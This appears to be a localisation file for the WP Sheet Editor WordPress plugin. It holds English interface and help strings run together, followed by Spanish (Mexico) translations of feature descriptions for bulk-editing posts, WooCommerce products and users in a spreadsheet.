help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these filesReplace thisReplace this fileReplace this termReplace words or phrases in your posts titles, content, or other fieldsReply toRequest not allowed. Try again later.Reset settingsResize columns based on the valuesRestore deleted columnsReview countRowRow ID: %1$d, Post type: %2$s does not exist in WordPress. Make sure your CSV uses the right name in the post type column.Row ID: %d, You do not have permission to delete this post.Row ID: %d. You are trying to save an empty post type. Make sure your CSV uses the right name in the post type column.RowsRows deleted successfullyRows that I selected manually with the checkboxRun searchSEOSEO Canonical URLSEO DescriptionSEO FB descriptionSEO FB imageSEO FB titleSEO KeywordSEO No IndexSEO Primary %sSEO TW descriptionSEO TW imageSEO TW titleSEO TitleSKUSTARTS WITHSale PriceSale end dateSale priceSale price datesSale start dateSales price date fromSales price date toSame as the spreadsheet post typeSame as the spreadsheet taxonomySaveSave and continueSave changesSave changes and edit the next rowSave changes and edit the previous rowSave changes faster: Number of rows to save per batchSave them as serialized arraySave these settings for future sessions?Save this searchSaved exportsSaved searchesSaved them separated by commaSaved: %sSaving changes, don't close this page.Scan DB to find fieldsScan NowScanning variations to be created. {updated} products of {total} products have been processed.SearchSearch SpreadsheetSearch on variations?Security and user roles (optional)Select active columnsSelect allSelect all the products from a searchSelect column...Select columns to importSelect individual columns to importSelect individual productsSelect product...Select the format of the cells, if the cells should be normal text, a file uploader, or text editor.Select the information that you want to edit with the spreadsheet editor.Select the kind of information used in the cells of this column.Select the rows that you want to update.Select type of editSelect...Send emailSend one email per rowSend one email per userSeparated with commasSeparatorSeparator for taxonomy terms cellsSerialized arraySet featured imageSet hundreds of products at once as out of stock or in stockSet post status to "pending" if featured image saving failed?Set random valueSet the same featured image in all the posts in a categorySet up SpreadsheetSet valueSettingsSetup page in the frontendSetup spreadsheetSheet EditorShipping classShort descriptionShow advanced optionsShow advanced options Show all the custom post statuses?Show cells as simple textShow column keyShow items published between these datesShowing rows from your last session.Simple textSingle selection dropdownSkip broken images?SlugSold individuallySolution to weird errorsSome changes are not saved yet.Some columns depend on other plugins. So the source site and this site must use the same plugins to have the same columnsSome of your plugins require special compatibility, and we have created these extensions that you can download for free if you purchased our plugin.Some plugins execute a task after a post is created or updated. For example, there are plugins that share your new posts on your social profiles, other plugins that notify users after a post is updated, etc. There might be an issue with those plugins. For example, if you use a plugin that shares your new posts on your twitter account and update 100 posts in the spreadsheet editor you might end up with 100 tweets shared in your twitter account. So enable this option if you want to update / create posts silently without executing those functions.Some rows were modified in the background. Please save the changes and reload the spreadsheet to see the changesSome rows were modified in the spreadsheet. Please save the changes before using this feature.SortSort alphabetically ASCSort alphabetically DESCSourceSpeed and performanceSpreadsheet ArchivesSpreadsheet AttributesSpreadsheet for %s %sSpreadsheet viewsSpreadsheets enabled for these post typesSpreadsheets listSpreadsheets list navigationStandard ProductStart from row number:Start new exportStatusStockStock statusSubscriber role is not allowed to use the editor.Suspend object cache invalidation?TagsTags (comma separated)Target products not found.Taxonomy columns like post categories, post tags, etc. show terms separated by comma, if you use commas in your term names, use this option to change the separatorTaxonomy dropdownTaxonomy dropdown. Only if data source = post terms.Taxonomy term dropdownTemplate item with ID %d was not found or is not allowed to be duplicated.Term IDTermsTextText editor (tinymce)Thank you for updating to the new version of the plugin.Thank you for using our spreadsheet editorThe "Create variations" tool allows you to create variation based on the combination of attributes. The default limit is 200 variations to not overload your server. You can increase the limit here if you need more variations.The "Regular price" column is hidden now. Please enable it in the columns manager before running this bulk edit.The "bulk update" feature allows you to update several posts at once
                  and you can do a lot of cool things, for example:The Spreadsheet is ready.The WooCommerce products spreadsheet automatically generates inventory units and inventory price stats and shows the stats above the spreadsheet. This can slow down the sheet if you have several thousand products. Disable it if the spreadsheet is too slow or you see errors when loading rows.The auto saving failed: the server is not available or overloaded. Do you want to try again?The bulk edit has been edited successfullyThe bulk edit has been executed. Do you want to reload the page to see the changes?The bulk edit is missing important information, please fill the form.The bulk edit is running. Please dont close this window until the process has finished.The bulk edit was executed successfully. You can close this windowThe cell will display the values as URLs and you can edit in the cells using full URLs, file ID, or file name.
                  External URLs are automatically imported into the media library.
                  We will save the value in the format selected hereThe changes about to be made are not reversibleThe changes about to be made are not reversible. You should backup your database before proceding.The column name displayed in the spreadsheetThe column selected is not valid.The column will appear in the spreadsheet and exports if the user has a role with the required capability.The column will be read only if the user doesn't have a role with the required capability.The default way uses a faster execution method, but it might not work in all the cases. Use this option when the default way doesn't work or doesn't update all the posts.The editor is available only for logged in users. Unknown users will see a login form.The existing variations in the target products will not be edited nor overwritten.The export feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The export has been edited successfullyThe exported file does not exist. This could happen for the following reasons:The file doesn't exist. Invalid path: %sThe files could not be saved.The import feature is not compatible with your website. Make sure WordPress and all the plugins and themes are up to date.The import has been edited successfullyThe import is completed.The import will overwrite existing settingsThe item could not be saved. Please try again in other moment.The key that will be used for saving the information in the database. This must be unique, only letters and underscores.The last import batch failed due to a server error, it's more likely that the server got overloaded.
                  1- You can try importing fewer rows per batch (i.e. import 2 rows every few seconds).
                  2- You can start a new import, sometimes trying again works (use the "advanced settings" in the step 1 of the import to start from a specific row).
                  3- You can increase the php memory following this tutorial
                  4- If the problem happens after trying with 1 row per batch, you can contact us and we will make it work for youThe list of Google Sheets files has been refreshed. Please search your file again.The loading is taking too long?
                  1. You can wait until the process finished.
                  2. You can The log file does not exist.The math formula can't be applied. We found some existing data is not numeric. Data found: %1$s, ID: %2$dThe meta field could not be deleted.The meta field was deleted successfullyThe meta key couldnt be renamed.The meta key was renamed successfullyThe option to create variations for every combination of attributes requires WooCommerce 3.0 or higher. Please update WooCommerce.The plugin will mark as used for variations all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will mark as visible all the attributes that DONT contain these keywords in the attribute key, enter multiple separated by comma. I.e. "car, airplane" would match "Car model, Car marker, Expensive Airplane, airplanes". This applies after editing a product in the spreadsheet cells.The plugin will not initialize for the user roles not selected here.The preview is fine, start importThe random values could not be read.The search parameter must contain $current_value$ onlyThe selected product does not have variationsThe server could not process our request. Please try again later.The server did not accept our request. Bad request, please try refresh the page and try again.The server didn't accept our request. You don't have permission to do this action. Please log in again.The server has exceeded its allocated resources and is not able to process our request.The server is busy and took too long to respond to our request. Please try again later.The server is not available or overloaded. Do you want to try again?The server is not available or overloaded. Please try again later.The server wasn't able to process our request. Server error. Please try again later.The source product doesn't have variations.The spreadsheet automatically generates columns for serialized fields, but this can use a lot of CPU cycles depending on the number of serialized fields. You can disable this feature if the sheet is too slow to load or you get errors when loading the rows or you dont want to see columns with prefix "SEIS".The spreadsheet editor can be used to edit your WordPress %s.The spreadsheet editor is very powerful and it has a lot of features. In this step you can enable the features that you need.The spreadsheet loads only the "visible rows" for performance reasons, so when you scroll up or down the rows are loaded dynamically. This way you can "open" thousands of posts in the spreadshet and it will work fast. However, if you want to use the browser search to find a specific cell, you need to disable the lazy loading in order to load all the rows at once and the browser will be able to find the cells. The browser search doesn't work by default because only the "visible rows" are actually created.The variations are for these products: These options will be included in the export and import:This can be used if the cell value will always be a URL, so the cell will be displayed as readonly and it will contain a button that will open the URL from the cell value.This color will be used as background for the header and footer.This color will be used for the menu links, it should be the opposite of the background color. i.e. dark background with light text, or light background with dark textThis column is for parent products only, variations don't use this fieldThis column is only for variation rows, parent products don't use this fieldThis feature is available as premium extension.This format will only allow administrators with the capability unfiltered_html to save any HTML in this column, we'll still remove unsafe html tags when non-administrators save values in this column.This is only for advanced users or if our support team asks you to use this option. We have 2 ways to handle serialized fields: the old handler (used by default, which has limitations) and the infinite serialization handler (better, it is not active by default to not break previous integrations). Use this option if you have serialized fields that save incorrectly or dont appear in the spreadsheet.This is optional. Leave empty to use the name from the URLs. Enter multiple names separated by commasThis is the dynamic tag for this column. You can copy this and use it in the bulk edit toolThis logo will be displayed above the spreadsheet in the frontendThis menu will be displayed at the top right section above the spreadsheet.This might help if the spreadsheet doesnt load or it loads empty.This option allows you to indicate what posts to use as templates for specific serialized fields. Enter the field key and post ID separated with a colon. For example: serialized_key1:89, serializedkey2:90This option works only if you are importing the featured image column and saving the featured image failed.This will be displayed when the current user is not logged in and tries to see a spreadsheet page. We will display a login form after your message.This will delete the rows from your database completely and the only way to undo this change is to restore a backup. Please make a backup in case you might need to undo this later.This will disconnect your Google account from WP Sheet Editor which will stop all sync jobs configured with that Google account across all your WordPress sites. But other users can connect their own Google account, so other users' sync jobs linked to their own Google accounts will remain unaffected. Are you sure you want to disconnect your Google account completely?This will hide the "help" option in the top toolbarThis will save you {clicks_count} clicks :)Thousands separatorTime saved
                  (estimated)Time unitTinyMCE EditorTip. If you edited information from this site, you should import the columns edited and record_id. Don't import columns that weren't modifiedTip. We can help you with the spreadsheet setup. Get instant help in the live chat during business hoursTip. You can use the "export" tool to download a CSV and see the available columns and format.
                  You can read our documentation here.TitleTo search among all posts use the Search tool. Use this to locate and highlight one value in the loaded rows in the spreadsheet. I.e. highlight a SKU or email or title.Tools located above the table.Total salesTranslate separatelyTurn this on and the spreadsheet will save automatically all the changes made on the cells every 2 minutes. Careful, this might cause issues if the changes are saved prematurely before you finish editing all the required columns.TutorialTypeURLURL SlugUnfiltered HTMLUnselect allUnselect all columnsUpdate existing items, ignore new itemsUpdate existing value with the result of a math operation.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Update settingsUpdate the lookup table and run the WC Webhooks always?Upload imageUpload the fileUpload the filesUploaded by userUploaded to this itemUpsellsUsage statsUse an infinite list instead of paginationUse as featured imageUse defaultUse pagination in the spreadsheet?Use prices from simple product (parent) on the variationsUse separate columns for images during export and import?Use slower execution method?Use this editor to edit the content only, other fields like tags and categories should be edited on the spreadsheet.Used for Variations?Used for variation?User capabilities that can edit this columnUser capabilities that can read this columnUser dropdownUser not allowedUser not allowed to edit rowsUser rolesUser roles that can use the spreadsheet editorUsernameUsersUsing this tool you can update thousands of rows at onceValueValue in the replace section is not validVariation descriptionVariation enabled?Variation: %sVariations ManagerVariations dont use URL slugs but this can be useful if you want to see the previous URL of the variation after you converted a simple product into a variation.VendorViewView ExtensionsView GalleryView SpreadsheetView SpreadsheetsView extensionsView logVirtualVisibilityWP EditorWP Sheet EditorWP Sheet Editor UsageWPBakery Page BuilderWPML - DuplicateWPML - LanguageWPML - Missing translations in these languagesWPML - RelationshipWPML - Translation ofWPML - Translation priorityWarning: Please make a backup before copying variations in case you want to undo the changes later.Watch tutorialWe are saving now. Don't close this window until the process has finished.We automatically allow columns for variations if at least one variation is using that field.We automatically detected all the columns.We automatically round up to 2 decimals. You can enter any number here, for example, 1 to round to 1 decimalWe can scan the database, find new fields, and create columns automatically for the supported fields.We didn't find rows for the export. Please try another search query.We didn't find rows to update from the search query. Please try another search query.We don't have variations to copy.We find rows with the same value in the CSV Field and the WP Field.
                  I.e. Products with same SKU or ID.We found similar columns. Do you want to apply the same action to them? {columns}We have +200 tutorials and guides on our blogWe have an extension for displaying this spreadsheet on the frontend. You can select the columns to display, and select the spreadsheet tools for the frontend users (search, bulk, edit, import, export, etc.). For example:We import the file in batches (i.e. 4 rows every few seconds). When one batch fails, we normally pause the import and ask you if you want to retry or cancel the import. Select this option to auto retry. Careful, you need to select the option to update existing rows in step 3 of the import, so we can retry and skip what was imported successfully and only retry what failed, if you dont select the option to update in step 3 of the import, every retry might duplicate some previously imported rows.We limit the list of fields to 1000 meta fields to avoid memory leaks/performance issues. If you want to search by a field that does not appear in the dropdown, increase this number.We limit the spreadsheet columns for performance reasons to avoid loading thousands of columns on the spreadsheet. You can increase this limit if you want to display more columns. Default: 310We need to reload the Spreadsheet to remove the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We need to reload the spreadsheet rows to load the variations. Please save your changes first or you will lose those changes. Do you want to reload now?We recommend that you create a message that looks like it was written personally, you should add your logo, message, and email signature. You can use variables to insert the value of any column.We show a popup asking you to install free extensions when we detect that you are using a third-party plugin that requires special compatibility, which helps us prevent errors.We use pagination to use few server resources. We load 20 rows first and load 20 more every time you scroll down. You can increase this number to load more rows per page. CAREFUL. Loading more than 200 rows per page might overload your server. If we detect that the server is overloaded we will automatically reset to 10 rows per page.We use pagination. By default we load 20 rows per page (every time you scroll down). You can increase the number to load more rows every time you scroll down.We will append the new file to the existing files in the products. Enter file URL only, you can enter multiple URLs separated by comma.We will append the new file(s) to the existing media file(s).We will create columns for these custom attributes.We will delete this meta field from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will delete this serialized field, which includes all its subfields, from the database and you will lose the values saved in this field on all the rows. You should make a backup to be able to restore in the future. Do you want to continue with the deletion?We will display all the columns that were deleted or disabled, renamed columns will show the original titles, we will rescan the database to find columns again, and the speed/advanced settings will be reset to the defaults. This only affects settings of our plugin and it does not affect the data edited with the sheet.We will not execute our removal of duplicate rows when the line breaks are allowed, so you might see duplicate rows in the export files in rare cases.We will prepend the new file(s) to the existing media file(s).We will remove all the html tags by default. Activate this option to allow safe html tags, like b, span, i, etcWe will replace the existing media file with this file.We will replace the existing media file(s) with these file(s).We will replace the existing terms with these terms.We will save the current search query and export settings, and you can execute this export with one click in the future using the dropdown in the export menuWe will save these files. Existing files will be overwritten. Enter file URL only, you can enter multiple URLs separated by comma.We will save this group of columns as a spreadsheet view and you can switch between spreadsheets in the toolbarWe'll reload the spreadsheet when you change this option.We'll sort the rows in the spreadsheet by this field. We recommend you sort based on fields that have values in all the rows in order to get more accurate results. For example, it's better to sort 1k products by Title ASC because you know that all the rows will be sorted accurately, but if you sort 1k rows by SKU, the 500 rows with SKU will be sorted correctly but the 500 rows without SKU could potentially have random order as we don't have any value to sort them accurately.WeeksWeightWelcome to WP Sheet EditorWhat app will you use to edit this file? (optional)What attribute do you want to edit?What cell format to use for the taxonomy columns?What columns do you want to export?What component do you need?What date format do you want to display in the spreadsheet?What date format do you want to save in the database?What date time format do you want to display in the spreadsheet?What field do you want to edit?What information do you want to edit on the frontend?What kind of posts require this column in the spreadsheet?What setting do you want to change?What value is saved when the checkbox is checked?What value is saved when the checkbox is unchecked?What's new on WP Sheet EditorWhen the sheet loads and saves post content, we run it through wpautop to prevent issues with line breaks. You can disable this if you dont want to see/save the p tags in the content.When the sheet loads, we open it in full screen and you have the option to exit the full screen mode. Activate this option and we wont open the sheet in full screen.When this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the pageWhen this is enabled more items will be loaded to the bottom of the spreadsheet when you reach the end of the page. You can enable / disable in the spreadsheet too.When this is enabled the products variations will be displayed and you will be able to edit them.When you delete posts, pages, events, products, orders, coupons, and other post types, you can select how many will be deleted on every batch. Use a higher number to finish faster. Default is 500When you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. But your server can't handle all the batches one after another so we need to wait a few seconds after every batch to give your server a little break. The recommended value is 6 seconds, you can adjust it as it works best for you. If you get errors when saving you should increase the number to give your server a longer break after each batchWhen you edit a large amount of posts in the spreadsheet editor we can't save all the changes at once, so we do it in batches. The recommended value is 4 , which means we will process only 4 posts at once. You can adjust it as it works best for you. If you get errors when saving you should lower the numberWhen you finish downloading the plugins, you need to go to wp-admin > plugins > add new and install them.When you finish this step you can start using the frontend editor. You can add the frontend page to a menu or share the link with your users.When you have 1000 posts , you might want to open the spreadsheet and start editing from post 200. This option lets you skip a lot of rows. IMPORTANT. We use the pagination, so we will display the page closest to that number. For example. If you load 10 rows per page and enter 1205 as offset, the sheet will start from page 120 (index 1200) because it is the page closest to the defined offset.When you import an image using FTP urls, the image is imported every time and you might end up with duplicates in the media library. Activate this option to reuse images in the media library with same file name and avoid downloading the FTP image again on future imports. Deactivate this option if you want to keep the images updated on future imports.When you load the spreadsheet, we get all the columns at once from the database to make it faster, this is called prefetch. This can cause issues if you have thousands of columns or rare database setups.When you open the spreadsheet, we load the rows automatically so you can start editing right away. Activate this option if you want to search rows and load manually.When you use WordPress multisite and you delete a user in the users spreadsheet, by default we only remove the user from the current site but the user remains in the network. Activate this option if you want to delete the user account from the entire networkWhich duplicates do you want to delete?Which rows do you want to export?Which variations do you want to copy?WidthWith our editor you will be able to edit all the information of
                  your %s saving you a lot of time.With these filesWith thisWith this fileWith this termWooCommerce - BASIC integrationWooCommerce - Products IntegrationWooCommerce CouponsWooCommerce Coupons SpreadsheetWooCommerce Customers SpreadsheetWooCommerce Orders SpreadsheetWooCommerce productsWordPress FieldWordPress fieldWordPress uses the heartbeat API to check the login status every few seconds. This can overload your server because it could make hundreds of requests when you are editing in the spreadsheet. You can disable it to reduce the stress on your server while editing in the sheet. However, if you keep the spreadsheet opened over multiple days your login session can expire and you wont be notified if you disable the heartbeat and this can cause issues while saving. So use this option only when you use the spreadsheet for a few hours only.Writing type not allowed.Wrong data formatWrong file extension. We accept CSV onlyWrong file urlWrong product type. Make sure it is a variable product.XYOAST SEOYearsYesYes, remove everything after the text, including the textYou are not allowed to do this action. Please reload the page or log in again.You can activate this option if you want to add html classes, and use those html classes to change the cell colors for each status using custom CSSYou can change the language of this post. If the translation for the new language exists, this change will not be applied.You can convert simple products into variable products. You can copy variations into a simple product and keep the prices from the simple product on the variations.You can create new items hereYou can do this multiple timesYou can edit your Media information like:You can edit your WooCommerce products information like:You can find all the settings here, like columns visibility, etc.You can read our FAQ with a list of hundreds of questionsYou can resize the editorYou can search by any field using operators. I.e. price > 100, image != (empty)You can select the rows for the edit in the first option of this form.You can start using the spreadsheet editor in just 5 minutes. Please follow these steps.You can use variables to insert the value of any column.You do not have permission to delete posts.You dont have enough permissions to create new rows.You dont have enough permissions to do this action.You dont have enough permissions to execute this action.You dont have enough permissions to load rows.You dont have enough permissions to save changes.You dont have enough permissions to search taxonomy terms.You dont have enough permissions to view this page.You entered an invalid formula. Please double check or contact us.You have modified posts. Please save the changes because we will refresh the spreadsheet.You have modified posts. Please save the changes because we will refresh the spreadsheet. Do you want to refresh now?You have modified rows. Please save the changes before removing columns from the spreadsheet.You must enter a file name in this field (not full path) and upload the file to the folder %sYou must enter the full hierarchy like parent > childYou need to configure your Google Maps API key to save the Google Maps columns. This is required by Advanced Custom Fields, you can follow this tutorialYou need to load the rows manually because you deactivated the automatic loading of rows. Change the settingsYou need to login to view this page.You need to set a logo in the settings page. Optionally you can change the background color, links color, and set a header menu.You selected 0 rows to be deleted completely.You selected a column from the CSV file below but the column is not
                  being imported. Please go to the previous step and select the column to be imported.
                  Hypothetical example, if you want to update existing products with same ID, you need to import the ID column otherwise we don't have the IDs to find them.You will be able to type numbers without formatting, for example: 999999.88 or 100, and we will automatically save them in the formatted way. This conversion will happen when you save and not live when you edit in the cells and you will see the modified values on the next spreadsheet reload.You will be able to type the post title in the cell and the cell will show a dropdown with suggestions.You will be able to type the term name in the cell and the cell will show a dropdown with suggestions.You will be able to type the username in the cell and the cell will show a dropdown with suggestions.Your server was not able to process this batch. Do you want to try again?Your server was not able to process this batch. Do you want to try again? You can retry 3 times, If 3 attempts fail we will stop the import completely.emptyis featured?orto{deleted} duplicates have been removed.{total_created} of {total} variations created.{updated} attributes have been merged.{updated} items saved of {total} items that need saving.Project-Id-Version: Report-Msgid-Bugs-To: PO-Revision-Date: 2023-07-19 13:16-0600 Last-Translator: Language-Team: Language: es_MX MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Plural-Forms: nplurals=2; plural=(n != 1); X-Generator: Poedit 3.3.1 (Puedes remover estos mensajes de ayuda en los ajustes avanzados) (Premium. Probar Gratis por 7 Días ) Si no se inicia automáticamente, puedes encontrar el archivo en la carpeta /wp-content/uploads/wp-sheet-editor/exports/ en tu servidor.

                  Los archivos de exportación se borran automáticamente después de %d horas. Algunas columnas tienen el botón para cambiar el formato%1$d de %2$d filas se han procesado desde el archivo. {total_updated} filas actualizadas y {total_created} filas creadas.%s filas serán editadas.%s variaciones creadas.%s: Hojas de cálculo permitidas(Instalar extensión gratuita)(Extensión Pro)- -- Primero, edita un elemento en el editor normal y rellena todos los campos manualmente.- Si la solución anterior falló, puedes crear nuevas columnas manualmente.- Quizá eliminaste las columnas de la lista.- Podemos ayudarte.- Podemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente. Versión Lite. Mostrando todos los productos y todos los campos como columnas, 15 columnas son editables y el resto son sólo de lectura.
                  Actualizar: Editar en Excel/Google Sheets, exportar, importar, editar todos los campos en miles de productos a la vez.. Actualizar: Exportar, importar, editar en Excel o Google Sheets; editar miles de filas a la vez, editar todos los campos de otros plugins, y más. Actualizar y Ahorrar Días de Trabajo. Agrega categorías hijas usando este formato: Padre > hija1 > hija2. Recomendamos que incrementes la memoria del servidor al menos hasta 256mb para prevenir errores del servidor. Tutorial...1. ¿Estamos leyendo bien el archivo? Aquí hay una vista previa de las primeras 5 filas del archivo.2. Por favor, haz una copia de seguridad antes de ejecutar la importación, para que puedas revertirla en caso de que hayas usado una configuración incorrecta o el archivo sea erróneo. La importación guardará la información directamente.Leer más.Editando el campo: {field_label}Garantía de devolución de dinero. Compra el plugin sin preocupaciones . Te haremos un reembolso si el plugin no funciona.Sugerencia de WP Sheet Editor: Editar miles de categorías a la vez, hacer búsquedas avanzadas, ver toda la información en una página, y más.Consejo de WP Sheet Editor:Puedes ver todos los usuarios en una tabla, ver miles de perfiles completos, editar cientos de usuarios a la vez sin colapsar tu servidor, ver toda la información de envío/facturación/buddypress. Realizar búsquedas avanzadas, crear cientos de usuarios y mucho más. Descargar el Plugin Consejo de WP Sheet Editor: Puedes ver y editar las variaciones de productos en una hoja de cálculo, realizar búsquedas avanzadas, editar cientos de variaciones a la vez, copiar variaciones a varios productos, etc. Descargar PluginConsejo: ¿La ejecución de la fórmula es demasiado lenta? Guarda más filas por lote
                  ¿Obtienes errores al ejecutar la fórmula? Guarda menos filas por lote Consejo: ¿El guardado es demasiado lento? Guardar más filas por lote
                  ¿Obtienes errores al guardar? Guardar menos filas por loteWP Sheet Editor: Puedes ver todas estas variaciones y editarlas todas a la vez en nuestra hoja de cálculo. Abrir en una hoja de cálculo
                  Usar el cupón: %s

                  La exportación finalizó.

                  La descarga debería empezar automáticamente.

                  WP Sheet Editor

                  ¿Quieres instalar el plugin premium que compraste? Sigue estos pasos:

                  1. Si estabas usando la versión gratuita del plugin antes de la compra, necesita desinstalar la versión gratuita ahora.
                  2. Cuando compraste el plugin, recibiste un correo electrónico con el enlace de descarga y la clave de licencia.
                  3. ahora ve a esta página y haz clic en el botón "Subir plugin".
                  4. Sube el archivo zip del plugin.
                  5. Activa el plugin.
                  6. Verás una pantalla solicitándote la licencia. Ingresa la licencia.
                  7. Listo. Ahora deberías ver la página de bienvenida donde puedes configurar y comenzar a usar el plugin.

                  Si necesitas ayuda, puedes contactarnos

                  ¿Falta una columna?

                  o
                • El rol de administrador de tienda puede ver y editar productos WooCommerce.
                • Añadir una herramienta de "duplicar" a la hoja de cálculo. Puedes seleccionar una fila (entrada, producto, cupón, etc.) y crear muchas copias.

                  Ejemplo: Crear 100 productos con las mismas etiquetas, dimensiones, atributos y variaciones. Y sólo cambiar un par de campos manualmente.

                  Los campos creados con el plugin Advanced Custom Fields aparecen en la hoja de cálculo automáticamente. Así que puedes editar campos personalizados fácilmente.

                  Crea nuevas hojas de cálculo con columnas personalizadas y comparte las hojas de cálculo con tus usuarios o empleados en el frontend. Es útil para los mercados donde los vendedores deben editar los productos en la hoja de cálculo, permitir el envío de entradas o eventos en el frontend, directorios de eventos, aplicaciones web, tableros personalizados, etc.

                  Editar cientos de entradas a la vez con unos pocos clics. Buscar y reemplazar. Reemplazar URLs y frases. Guardar valores en campos masivamente. Copiar valores entre campos. Combinar campos. Y mucho más.

                  Ejemplos: Copiar el precio normal al precio de rebajado, actualizar los nombres de los atributos de los productos, etc.

                  Editar cientos de entradas a la vez. Actualizar campos numéricos usando fórmulas matemáticas avanzadas. Por ejemplo, aumentar los precios en un 10%, gestionar el inventario, etc. Ejecutar cualquier fórmula matemática.

                  Puedes utilizar varios campos en la fórmula. Por ejemplo, "Precio normal x Precio de inventario / Precio rebajado

                  Editar el título, la descripción, la palabra clave y la puntuación de SEO en la hoja de cálculo

                  Editar productos de WooCommerce en la hoja de cálculo. Soporta todo tipo de productos, incluyendo Productos Variables, Productos Descargables, Productos Externos, Productos Simples. Puedes editar todos los campos de productos en la hoja de cálculo, incluyendo atributos, imágenes, etc.

                  Editar usuarios de WordPress en una hoja de cálculo, editar sólo perfiles básicos y realizar búsquedas básicas.

                  Editar usuarios de WordPress en una hoja de cálculo. Editar perfiles de usuario COMPLETOS, incluyendo campos personalizados. Agregar nuevas columnas a la hoja de cálculo. Es excelente para tiendas ecommerce, sitios de membresía, directorios de eventos, directorios de negocios, directorios de usuarios.

                  Editar campos de entradas por defecto en una hoja de cálculo.

                  Editar menús de restaurantes, cursos, proyectos, portafolios, y todos los post types personalizados.

                  Buscar entradas por palabra clave, taxonomías, autor, fecha, estado o campos personalizados.

                  Buscar en múltiples campos con operadores avanzados: =, !=, <, >, LIKE, NOT LIKE

                  Ejemplos: Encontrar productos de la categoría Audio con inventario < 20, o productos de la categoría Manzana sin imagen destacada, o productos que contengan la palabra clave "Google" y que no tengan galerías de imágenes.

                  Es la mejor manera de gestionar tus comentarios, las valoraciones de los clientes de WooCommerce, los comentarios de los eventos, los testimonios y las notas de pedido en una hoja de cálculo. Puedes hacer búsquedas avanzadas por cualquier campo (palabra clave, nota de pedido, estado, encontrar comentarios por post type, y todos los campos). Puedes editarlos masivamente, borrarlos todos a la vez, exportarlos a Excel o a sistemas externos, importar comentarios y reseñas de otros sistemas, y más.

                  Una hoja de cálculo para cada tabla personalizada encontrada en tu base de datos, incluyendo tablas agregadas por otros plugins. Edita en vivo. Haz ediciones masivas en miles de filas. Haz búsquedas avanzadas. Exporta. Importar. Eliminar filas en lotes. Y mucho más.

